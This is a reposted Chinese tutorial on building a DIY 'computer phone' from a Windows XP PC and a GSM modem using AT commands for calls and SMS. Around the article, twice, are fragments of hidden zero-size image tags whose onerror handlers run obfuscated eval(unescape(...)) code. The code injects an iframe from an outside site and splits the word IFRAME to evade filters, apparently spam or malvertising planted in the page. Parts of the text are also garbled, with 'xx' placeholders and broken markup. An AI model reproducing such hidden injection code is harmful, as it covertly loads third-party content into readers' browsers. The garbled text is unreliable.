邓侃:教你做出XP系统强机实战DIY电脑手机(组图) - brutalitys ...
邓侃:教你做出XP系统强机 实战DIY电脑手机(组图) [转贴 2010-06-04 18:23:07]   
邓侃:教你做出XP系统强机 实战DIY电脑手机(组图)
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zh_160_600.html%20frameBorder%3D0%20width%3D160%20scrolling%3Dno%20height%3D600%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

2010年1月20日,ViewSonic在北京发布了一款真正意义的电脑手机VCP08。根据商家的宣传,VCP08之所以能够被称为真正的电脑手机,是因为“该机做到了把真正的WindowsXP操作系统嵌入进手机当中”。

ViewSonic VCP08电脑手机的平面尺寸比普通手机略大,但是厚度则远超普通手机,参见Figure 8.1。超凡的厚度,并不仅仅是因为VCP08手机采用翻盖设计,事实上,VCP08电脑手机,是XP上网本与MTK手机,两个独立运行的系统的简单合并。

VCP08 的外屏延用MTK手机系统,是一个自主运行的封闭系统。而内屏则采用Window XP系统,配置Intel Atom Z500双核CPU,CPU速度是800MHz,内存空间512MB,硬盘空间8GB,内屏屏幕为4.3英寸,分辨率高达800x480像素,是不折不扣的上网本[2]。不过,VCP08的电池,只能支持2个小时的电脑操作[1]。

一言以蔽之,VCP08相当于在XP电脑上绑一个MTK Feature Phone。有没有可能自己做个电脑手机,也就是能够打移动电话的电脑呢?Figure 8.3是一个假想图。下面,我们自己动手,做一个电脑手机。

{dy}步,先准备4样硬件。

1. 一台PC,运行Windows XP操作系统。

2. 一张SIM卡。

3. 带麦克风的耳机。

4. 一台GSM/GPRS调制解调器(GSM/GPRS,Modem),例如MultiTech的MTCBA-G-F4产品系列,串口的MTCBA-G-F4 或者USB的MTCBA-G-U-F4都可以,价格分别是150美元和230美元[3]。如果嫌MultiTech的Modem价格偏高,也可以选用国内生产的GSM/GPRS Modem,安装和调试步骤可能略有不同,请参阅相关产品说明书。

第二步,连线安装。

1. 把SIM卡插入Modem

2. 接上天线和电源,然后接入PC机串口或者USB口。如果需要语音电话,可以要求厂家提供一条特殊的电缆,一端接Modem,另一端有两个接头,一个接PC机串口或者USB口,另一个接带麦克风的耳机,用来接收和传送语音。

3. 在XP操作系统中,点击Start(开始)-> Set(设置)-> Control Panel(控制面板)-> Add Hardware (添加硬件)。如果选用的Modem是MultiModem MTCBA-G-F4,随产品附带的CD中,含有相应的驱动程序。

第三步,调试及使用。

如果一切顺利,DIY版电脑手机就可以使用了。

1. 监测信号强度。

打开超级终端,即,点击Start(开始)-> All Programs(程序)-> Accessories(附件)-> Communications(通讯)-> HyperTerminal(超级终端)。如果PC操作系统中,没有自带HyperTeminal软件,不妨下载替代品,例如 Teraterm,http://hp.vector.co.jp/authors/VA002416/teraterm.html

在超级终端(HyperTerminal)中,键入 AT+CSQ

2. 检查GSM登录及漫游。

在超级终端(HyperTerminal)中,键入 AT+CREG?

回应:0,0表示还没登录,无法操作

回应:0,1表示已登录本地网

回应:0,5表示已登录一个漫游网

3. 打语音电话。

在超级终端(HyperTerminal)中,键入 ATD1234567;

回应:OK

请注意不要忘记键入分号,分号代表语音呼叫。

1234567是随意举例的一个电话号码,如果你拨打的电话号码是7654321,那么这个命令就是ATD7654321;

4. 挂机。

在超级终端(HyperTerminal)中,键入 ATH

回应:OK

5. 发短信。

在超级终端(HyperTerminal)中,键入 AT+CMGS=“1234567”发送短信到号码为“1234567”的移动电话。

等待 “>” 出现。

然后键入短信正文,按Ctrl-Z结束。

回应:

+CMGS: 52

OK

6. 收短信,这个稍微复杂一些。

在超级终端(HyperTerminal)中,键入 AT+CMGF=1 以此设置成文本格式。

回应:“OK”。

键入 AT+CSMS=1,以此设置SMS服务为GSM 07.05 Phase 2+兼容。

回应:

+CSMS: 1,1,1。各个参数的含义参阅[4]。

键入 AT+CNMI=2,2,0,0,0 以此设置短信接收模式为直接转发到我们的DIY版电脑手机。

回应:

OK

+CMT: "+17632273726",,"06/03/17,09:06:11+00" (发送端电话号码及时间)

TEST SMS 3 (收到的短信内容)

键入AT+CNMA,通知网络短信已经收到。

屏幕回应:

OK

7. 连接Internet网络。

通过呼叫PPP,建立Internet连接。详细过程比较复杂,参阅[4]。

总结一下,制作一部DIY版电脑手机不复杂。如前文所述,电脑手机的关键部件是Modem。不仅可用MultiTech生产的Modem,其实任何一个 GSM/GPRS Modem都能用。甚至,也可以用一部MTK的Feature Phone来替代Modem,只不过安装和调试略微麻烦一点而已。

我们制作DIY版电脑手机,并不纯粹为了自娱自乐,满足好奇心。通过这个例子,有助于认清一下几个问题。

1. 移动通信的任务,其实xx可以用一部Modem来完成。

2. 所谓电脑手机,实质上无非是把普通PC以及操作系统,与Modem相连。PC操作系统,可以通过AT指令,对Modem进行相应控制,包括拨号,通话,收发短信等等。

3. DIY版电脑手机的操作界面非常不直观。为了改善用户体验,不妨通过开发界面友好的手机应用程序包,实现以下功能。不难想像,开发这样一个应用程序包,虽然有一定难度,但也并非遥不可及。

- 拨打电话:发起或接受语音电话。

- 短信管理:编辑短信,发送短信,接受短信,删除,回复或者转发短信等等。

- 通话历史

- 电话本

- 手机设置

4. 至于PC上其它应用程序,例如日历,记事本,计算器等等,xx可以忽视Modem的存在,或者仅仅把当它当作是一个能够提供数据连接的网卡。

为什么需要电脑手机?根本原因在于Feature Phone的功能有限,仅xx于通话,短信,以及一些预装的多媒体应用。手机生产厂商预装的功能再多,永远无法满足所有用户的,形形色色的功能需求。所以需要一个类似于PC的操作系统,能够支持第三方开发各种通用软件,并且支持用户自主下载并安装非预装的软件。

那么,我们自己做的电脑手机与WinMobile或Android等等平台的Smart Phone有什么区别?事实上我们的电脑手机与其它Smart Phone并没有本质的区别,或者说其它Smart Phone是更加精致的电脑手机。一印科技制作的xpPhone,就是这样一款更加精致的电脑手机。

虽然一印科技的xpPhone外观看起来很炫,用户体验很好。但是从技术角度来讲,结构上与我们的DIY电脑手机同出一辙,一印科技的精力放在了外观的优化,以及应用程序的开发上。

事实上,虽然Smart Phones款式众多,令人眼花缭乱,但是它们的内部软硬件结构,大多十分相似。从下一章节开始,我们着手解剖Smart Phone。



0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_250_250.html%20width%3D250%20height%3D250%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

郑重声明:资讯 【邓侃:教你做出XP系统强机实战DIY电脑手机(组图) - brutalitys ...】由 发布,版权归原作者及其所在单位,其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实,请读者仅作参考,并请自行核实相关内容。若本文有侵犯到您的版权, 请你提供相关证明及申请并与我们联系(qiyeku # qq.com)或【在线投诉】,我们审核后将会尽快处理。
—— 相关资讯 ——